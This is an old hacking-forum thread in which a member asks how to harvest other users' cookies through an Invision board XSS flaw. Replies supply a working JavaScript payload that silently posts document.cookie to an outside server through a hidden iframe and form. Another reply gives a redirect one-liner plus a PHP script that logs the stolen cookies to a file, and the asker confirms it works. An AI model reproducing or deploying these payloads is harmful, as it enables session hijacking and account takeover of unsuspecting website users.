Forums: How To Get Remote Users Cookies - Forums

Jump to content

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

How To Get Remote Users Cookies When U successfully exploit the Invision

#1 User is offline   KarachiKing555 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 103
  • Joined: 09-October 03

Posted 04 May 2005 - 06:13 AM

i was just curious how can some get remote users cookies ! this vul shows only your cookie but i want some lil hints how could one get others cookies !! have u setup the php script somewhere else and use some java script:write functiont so thet it sends the whole data to your site rather then poping it up ??

Invision XSS Vul
0

#2 User is offline   Kenny 

  • Commander In Chief
  • Icon
  • Group: Admin
  • Posts: 6,422
  • Joined: 18-August 06

Posted 04 May 2005 - 11:09 PM

KarachiKing555... see my reply in the exploit section

regards
Kenny aka ComSec

Please read the Forum Rules !!!

" Only a Fool would were another man's Shoes if they don't Fit "

______________________
0

#3 User is offline   nuorder 

  • Master Sergeant
  • Icon
  • Group: Members
  • Posts: 574
  • Joined: 01-April 04

Posted 05 May 2005 - 12:35 AM

heres one i made in the early days, its not perfect but something to get you started

Quote

document.write('<div style="visibility:hidden;"><iframe src="" name="vvv" width="1" height="1" frameborder="no"></iframe></div>')
document.write('<form name="f1" action="http://www.example.com/addstuff.asp" method="POST" target="vvv">');
document.write('<input type="hidden" name="cookiemonster" value="' + document.cookie + '"/>');
document.write('</form>');
document.forms[0].submit();


I seem to recall that i used this method rather than a straight iframe so it wouldn't show in the history as much.

you will need some form of sql database to store these, using php to email them or write to a file is good too
0

#4 User is offline   CereBrums 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 24
  • Joined: 02-September 04

Posted 05 May 2005 - 07:37 AM

well,
u can easily direct the cookie to another site,
that will get the information and log it.
as so:
<?php	
	$text = $_GET['info'];
	$filen = "log.txt";
	$fo = fopen($filen, "a");
	fputs($fo, "$text\r\n");

fclose($fo);	
?>


the cookies will be saved in the file 'log.txt'

the refer is being made using this cmd:
javascript:document.location("http://site.com/get.php?info=" + document.cookie);


the line
$text = $_GET['info']
gets the data recieved in the var 'info' from the url...

hope u got it .
0

#5 User is offline   KarachiKing555 

  • Private First Class
  • Icon
  • Group: Members
  • Posts: 103
  • Joined: 09-October 03

Posted 06 May 2005 - 10:43 AM

Thx alot Nuorder and Cerebrums ! i got it working now ! ;)
0

#6 User is offline   d12boy420 

  • Private
  • Icon
  • Group: Members
  • Posts: 1
  • Joined: 13-July 05

Posted 28 July 2005 - 04:13 PM

thanks

BN says:
Bad start! Suspended 14 days for THANKS post.

0

Page 1 of 1
  • You cannot start a new topic
  • You cannot reply to this topic

1 User(s) are reading this topic
0 members, 1 guests, 0 anonymous users

  • Share



Our Sponsors:


SwiftLayer Affiliate Web Hosting